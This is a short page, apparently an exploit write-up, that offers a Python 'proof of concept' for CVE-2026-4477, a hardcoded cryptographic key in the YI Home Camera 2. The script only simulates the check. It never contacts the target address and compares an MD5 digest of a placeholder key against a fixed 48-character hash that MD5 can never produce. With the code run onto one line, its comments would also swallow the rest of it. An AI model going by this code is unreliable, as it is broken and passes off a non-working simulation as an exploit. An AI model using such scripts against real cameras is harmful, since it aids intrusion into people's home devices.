CVE-2026-4477: 小蚁家用摄像机2硬编码密钥漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-4477: Hardcoded Cryptographic Key in YI Home Camera 2 # This script demonstrates how one might verify the presence of a hardcoded key # by checking against a known leaked key from firmware analysis. import hashlib # Simulated hardcoded key found in firmware analysis # In a real scenario, this would be extracted from the binary KNOWN_HARDCODED_KEY = "YiCameraDefaultSecretKey123" def check_vulnerability(target_ip): """ Simulates checking if the target device is vulnerable by attempting to decrypt a packet using the hardcoded key. """ print(f"[*] Checking target {target_ip} for CVE-2026-4477...") # Simulate capturing a handshake or encrypted packet # For demonstration, we assume we have captured a hash captured_hash = "5e884898da28047151d0e56f8dc6292773603d0d6aabbdd" # Example hash # Check if the hardcoded key produces the expected result # (This is a conceptual representation) if hashlib.md5(KNOWN_HARDCODED_KEY.encode()).hexdigest() == captured_hash: print("[!] Vulnerability Confirmed: Hardcoded key is active.") print(f"[+] Key used: {KNOWN_HARDCODED_KEY}") return True else: print("[-] Target does not appear to use the known hardcoded key.") return False if __name__ == "__main__": target = "192.168.1.100" # Example Local IP check_vulnerability(target)